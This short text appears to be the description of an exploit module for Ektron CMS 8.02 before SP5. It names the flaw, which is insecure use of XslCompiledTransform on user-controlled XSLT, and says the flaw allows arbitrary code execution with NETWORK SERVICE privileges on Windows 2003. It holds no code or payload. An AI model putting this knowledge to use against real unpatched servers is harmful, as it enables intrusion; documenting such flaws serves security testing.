					This module exploits a vulnerability in Ektron CMS 8.02 (before SP5). The
				vulnerability exists due to the insecure usage of XslCompiledTransform, using a
				XSLT controlled by the user. The module has been tested successfully on Ektron CMS
				8.02 over Windows 2003 SP2, which allows to execute arbitrary code with NETWORK
				SERVICE privileges.
